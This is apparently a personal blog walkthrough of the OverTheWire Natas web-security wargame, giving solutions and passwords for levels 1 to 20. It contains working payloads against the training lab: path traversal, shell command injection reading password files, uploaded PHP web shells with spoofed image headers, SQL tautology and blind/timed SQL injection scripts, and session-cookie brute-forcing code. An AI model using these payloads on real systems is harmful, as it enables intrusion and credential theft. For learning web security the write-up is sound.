Natas wargame walkthrough, levels 1-20
One of my objectives while I'm at the Recurse Center is to improve my knowedge of securing computer systems. A good way of learning this is to play an attacker and to try to break into insecure systems1. I've been working through Natas, a 'wargame' developed by Over The Wire. Natas is a series of insecure webapps, which aim to teach the basics of web security.
This post covers solutions to the first twenty levels of Natas. The security topics covered in these levels include:
- Editing HTTP headers
- Command injections
- File inclusion vulnerabilities
- Breaking weak encryption
- Editing cookies to assume the identity of a different user
- Bruteforce techniques
- SQL injections
- SQL tautologies
- Blind SQL injections
- Timed blind SQL injections
1
Password is in a comment in the page's HTML source.
gtVrDuiDfck831PqWsLEZy5gyDz1clto
2
Identical to level 1, but right-click has been disabled. Use browser shortcuts to open the debugger.
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
3
Source reveals a hidden image located at /files/pixel.png
. Navigating to
/files/
, we see the file /files/users.txt
which contains the password.
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
4
A comment in the source says:
[...] Not even Google will find it this time...
Google indexes the web, but honours a site's robots.txt
file, which tells
crawlers not to visit web pages. The robots.txt
excludes the contents of
/s3cr3t/
. Looking in this folder we find a file user.txt
which contains the
password.
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
5
The webapp notes that:
authorized users should come only from
"http://natas5.natas.labs.overthewire.org/"
We can trick the server into thinking we've come from that URL by adding the Referer header to our HTTP request:
Referer: http://natas5.natas.labs.overthewire.org/
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
6
Inspecting the site, we see that the following cookie has been set:
loggedin = 0;
Change this cookie to 1, and the password is returned.
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
7
In the source code, we see an included file /includes/secret.inc
. Navigating
to this page, we see that the secret is FOEIUWGHFEEUHOFUOIU
. Enter this secret
to get the password.
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
8
A clue in the source says that the password we're looking for is stored at
/etc/natas_webpass/natas8
on the server. If we navigate to the Home or About
page, we can change the value of page in the URL query to hit other files on
disk. The query ?page=../../../../etc/natas_webpass/natas8
reveals the
password.
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
9
Looking at the source code, we see that the secret, when encoded must match:
3d3d516343746d4d6d6c315669563362
. To find out the clear text secret, we can
reverse the encoding steps:
<?php
> hex2bin("3d3d516343746d4d6d6c315669563362");
"==QcCtmMml1ViV3b"
> strrev("==QcCtmMml1ViV3b");
"b3ViV1lmMmtCcQ=="
> base64_decode("b3ViV1lmMmtCcQ==");
"oubWYf2kBq"
Submit this secret to see the password.
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
10
In this level, user input is passed to the PHP passthru function:
passthru("grep -i $key dictionary.txt");
We can terminate the grep
with a semicolon, run an arbitrary command, and
comment any code that comes after with:
; cat /etc/natas_webpass/natas10 #
Here, we return the contents of the password file with cat
:
s09byvi8880wqhbnonMFMW8byCojm8eA
11
This level is the same as level 10, but the characters ;
, |
and &
are blocked by the server. We can utilise the grep
to search for everything in
the password file:
.* /etc/natas_webpass/natas11 #
SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
12
In this level, we need to set a cookie, such that when it is base64 decoded and XOR decrypted with an unkown key, it returns the JSON string:
{ "showpassword": "yes", "bgcolor": "#ffffff" }
To do this, we need to work out the XOR encryption key. Luckily, XOR encryption has the following property:
secret XOR key = encrypted_secret
encrypted_secret XOR secret = key
This property means that if we know a secret and the value it gets encrypted to, we can work out the key.
Looking through the server source code, we see that the default secret is:
{ "showpassword": "no", "bgcolor": "#ffffff" }
And by looking at the cookie returned, we can see that the encrypted secret is:
ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
We can perform the XOR with the following code:
<?php
$origData = base64_decode(
"ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");
$key = '{"showpassword":"no","bgcolor":"#ffffff"}';
$outText = "";
for ($i = 0; $i < strlen(origData); $i++) {
$outText .= $origData[$i] ^ $key[$i % strlen($key)];
}
echo $outText;
Running this gives the output:
qw8Jqw8J
We see that this is the string qw8J
repeated. We then use this key to encrypt
our original JOSN string:
<?php
// xor_encrypt is taken from the server source code
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt('{"showpassword":"yes","bgcolor":"#ffffff"}'));
This gives our desired cookie, EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
. We set this
by running the following JavaScript in the browser console:
document.cookie =
"data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK";
Clicking on the set color
button returns the password:
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
13
In this level, a file is uploaded to the server, via an HTML form. Looking at the source code, we see that the form has a few elements, which are initially hidden:
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
When writing the file to disk, the server code generates a random name for the
file. However, the extension given to the file is pulled from the hidden
filename
input box in the form. If we set the extension of the file in the
form, that extension will be used to store our file on disk.
Different extensions cause the server to handle the file in different ways. A
.jpg
extension will cause the server to serve the file as a static image, but
a .php
extension will cause it to execute it as a PHP file.
We can therefore get the password by changing the text of the filename
input
to file.php
uploading the file:
<?php
passthru('cat /etc/natas_webpass/natas13');
Submitting the form displays a link to the file. When we click on the link, the PHP code is executed and the password is displayed.
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
14
This level is similar to 13
, with the difference that the server side code now
runs the function exif_imagetype
on the uploaded file to check if it's really
an image.
exif_imagetype
works by reading the first few bytes from a file to check if
they match what the first few bytes of a jpeg
, gif
, png
etc file are meant
to be. We can therefore trick the function by supplying a file which starts with
the first few bytes of an image format. For example, jpeg
files start with the
number 0xFFD8FFE0
. We can create a php
script with the correct starting
bytes with the following python
code:
with open("script.php", "w") as f:
f.write('\xFF\xD8\xFF\xE0')
f.write("""<?php
passthru('cat /etc/natas_webpass/natas14');
""")
Uploading this file and changing the filename
input extension to .php
as
before prints out the password.
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
15
Level 15 features a SQL injection attack. The following query is executed against a MySQL database:
<?php
$query = "SELECT * from users where username=\""
.$_REQUEST["username"]
."\" and password=\""
.$_REQUEST["password"]."\"";
We can see that the username
and password
sections of the query string
aren't sanitised. If a request is made that returns > 0 rows, the password is
printed. Supplying the debug
keyword in the query string prints out the query
which is to be executed, making it easier to debug.
Looking at the query, need to construct a statement which reutrns a row.
The statement:
SELECT * from users where username="" or "1"="1" and password="" or "1"="1"
Makes use of SQL tautologies to return rows.
We can run this command by calling the URL with the following query string:
?username=%22%20or%20%221%22=%221&password=%22%20or%20%221%22=%221&debug
Running this prints out the password.
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
16
Level 16 also features a SQL injection attack. This time, we are presented with a simple web app which tells the user whether a sumbitted username exists in a database. From the source, we see that the database also contains the user's password.
We can construct a SQL query which leaks information about the user's password.
The following query makes use of the MySQL LIKE
function, which pattern
matches a field.
SELECT * from users where username="natas16" AND password LIKE BINARY "a%"
The query tests whether there is a user named natas16
, with a password that
starts with the letter a
. If there is, the webpage says "This user exists". If
there isn't the webpage says "This user doesn't exist". The web app leaks some
information about the password. We can then repeat this query checking for the
letters b, c, ...
, until we find a match. We can then repeat the process for
the second characted, and repeat that until we have the full password.
The following code does this:
# -*- coding: utf-8 -*-
import logging
import string
import sys
import requests
from bs4 import BeautifulSoup
logging.basicConfig(level=logging.DEBUG, stream=sys.stderr)
logger = logging.getLogger(__name__)
# Silence noisy urllib3 debug logs
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
def get_page_text(query_dict):
query_dict["debug"] = "1"
r = requests.get(
"http://natas15.natas.labs.overthewire.org",
auth=("natas15", "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"),
params=query_dict)
return r.text
def does_user_exist(body):
html = BeautifulSoup(body, "html.parser")
text = html.find(id="content").get_text().strip()
logger.debug(text)
return "This user exists" in text
def get_next_char(index, possible_chars):
next_index = index + 1
return next_index, possible_chars[index]
def get_password():
# All previous passwords contined only numbers and lower/upper case
# letters. Let's assume that the same is true for this password.
possible_chars = "".join([
string.lowercase,
string.uppercase,
"".join(map(str, range(10)))
])
password = ""
index = 0
while True:
try:
index, char = get_next_char(index, possible_chars)
except IndexError:
# None of the chars matched, assume that the password has been
# guessed.
return password
password_guess = "".join([password, char, "%"])
text = get_page_text({
"username":
'natas16" AND password LIKE BINARY "{0}'.format(password_guess),
"debug": "true"
})
if does_user_exist(text):
password = "".join([password, char])
logging.info("password: %s", password)
index = 0
def main():
print get_password()
if __name__ == "__main__":
main()
Running the script prints out the password.
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
17
This level is similar to the previous one. The web app is the same as the one
from levels 10 and 11, but it returns an error if any of the
characters ;
, |
, &
, `
, \
, '
, and "
. are used. We can, however,
make use of shell varible expansions:
grep -i "$(grep -E ^a.* /etc/natas_webpass/natas17)aprils" dictionary.txt
If the password doesn't start with the letter 'a', the grep inside the variable
expansion returns nothing, and the outer grep searches for 'aprils', which it
finds in dictionary.txt. If however, the password does start with 'a', the grep
will return the password, and the outer grep will search for axxxaprils
(where
xxx
represents the rest of the characters in the password) , which it won't
find, so will return nothing. We can repeat this process for all letters as
before.
The code to do this is very similar to the code from level 16:
# -*- coding: utf-8 -*-
import logging
import string
import sys
import requests
from bs4 import BeautifulSoup
logging.basicConfig(level=logging.DEBUG, stream=sys.stderr)
logger = logging.getLogger(__name__)
# Silence noisy urllib3 debug logs
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
def get_page_text(query_dict):
query_dict["debug"] = "1"
r = requests.get(
"http://natas16.natas.labs.overthewire.org",
auth=("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"),
params=query_dict)
return r.text
def does_user_exist(body):
html = BeautifulSoup(body, "html.parser")
text = html.body.div.pre.get_text().strip()
logger.debug(text)
return text != "Aprils"
def get_next_char(index, possible_chars):
next_index = index + 1
return next_index, possible_chars[index]
def get_password():
# All previous passwords contined only numbers and lower/upper case
# letters. Let's assume that the same is true for this password.
possible_chars = "".join([
string.lowercase,
string.uppercase,
"".join(map(str, range(10)))
])
password = ""
index = 0
while True:
try:
index, char = get_next_char(index, possible_chars)
except IndexError:
# None of the chars matched, assume that the password has been
# guessed.
return password
password_guess = "".join([password, char])
text = get_page_text({
"needle": "$(grep -E ^{0}.* /etc/natas_webpass/natas17)aprils".format(
password_guess),
"debug": "true"
})
if does_user_exist(text):
password = "".join([password, char])
logging.info("password: %s", password)
index = 0
def main():
print get_password()
if __name__ == "__main__":
main()
This returns the password.
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
18
This level is similar to 16, except this time no data is printed out if a query returns data or not. We can solve this with a timed blind SQL injection.
SELECT * from USERS where username="natas18"
AND IF(password LIKE BINARY "a%", SLEEP(2), 0)
This query checks if user natas18
's password starts with the letter 'a'. If it
does, then sleep for two seconds, else do nothing. By timing the requests, we
can tell if we have a match.
# -*- coding: utf-8 -*-
import logging
import string
import sys
import time
import requests
from bs4 import BeautifulSoup
logging.basicConfig(level=logging.DEBUG, stream=sys.stderr)
logger = logging.getLogger(__name__)
# Silence noisy urllib3 debug logs
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
def time_get_page(query_dict):
logger.debug("running: {0}".format(query_dict["username"]))
query_dict["debug"] = "1"
start = time.time()
r = requests.get(
"http://natas17.natas.labs.overthewire.org",
auth=("natas17", "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),
params=query_dict)
end = time.time()
elapsed = end - start
return elapsed
def get_password():
# All previous passwords contined only numbers and lower/upper case
# letters. Let's assume that the same is true for this password.
possible_chars = "".join([
string.lowercase,
string.uppercase,
"".join(map(str, range(10)))
])
password = ""
index = 0
while True:
if len(password) == 32:
return password
sql_query = \
'natas18" AND IF(password LIKE BINARY "{0}", SLEEP(2), 0) #'
password_times = {
time_get_page({
"username": sql_query.format("".join([password, char, "%"])),
"debug": "true"
}): char
for char in possible_chars
}
longest_time = max(password_times)
password = "".join([password, password_times[longest_time]])
logging.info("password: %s", password)
def main():
print get_password()
if __name__ == "__main__":
main()
The password is:
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
19
In this level, we must supply admin credentials to be shown the password for the
next level. Looking through the source code, we see that we can bypass supplying
admin credentials if we can trick the server into thinking we have already
logged in by setting the PHPSESSID
cookie to the session id of an admin
account. We don't know the admin session number, but we can brute force it by
trying out session numbers. A comment in the code says that there are only a 640
possible sessions.
# -*- coding: utf-8 -*-
import logging
import sys
import requests
import concurrent.futures
logging.basicConfig(level=logging.INFO, stream=sys.stderr)
logger = logging.getLogger(__name__)
# Silence noisy urllib3 debug logs
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
def get_page_text(session_num):
logger.debug(session_num)
r = requests.get(
"http://natas18.natas.labs.overthewire.org",
auth=("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"),
cookies={"PHPSESSID": str(session_num)})
if "You are an admin." in r.text:
logger.info("Admin session: %d", session_num)
print r.text
def main():
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
executor.map(get_page_text, range(640))
if __name__ == "__main__":
main()
This code makes use of concurrency to speed up execution.
Password is:
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
20
Same as the level 19, but the cookies are now non-sequential. By logging
in a few times, we notice that the cookie is a hex-encoded string
<session number>-<username>
. Using this information, we can brute force the
problem as before.
# -*- coding: utf-8 -*-
import logging
import sys
import requests
import concurrent.futures
logging.basicConfig(level=logging.INFO, stream=sys.stderr)
logger = logging.getLogger(__name__)
# Silence noisy urllib3 debug logs
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
def str_to_hex(string):
char_codes = [ord(c) for c in string]
hex_codes = [hex(c) for c in char_codes]
clean_hex_codes = [h.split("0x")[1] for h in hex_codes]
return "".join(clean_hex_codes)
def get_page_text(session_num):
logger.debug(session_num)
encoded_session_num = str_to_hex("-".join([str(session_num), "admin"]))
r = requests.get(
"http://natas19.natas.labs.overthewire.org",
auth=("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"),
cookies={"PHPSESSID": str(encoded_session_num)})
if "You are an admin." in r.text:
logger.info("Admin session: %d", session_num)
print r.text
def main():
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
executor.map(get_page_text, range(640))
if __name__ == "__main__":
main()
eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
-
Hacking into systems without explicit permission is illegal. ↩︎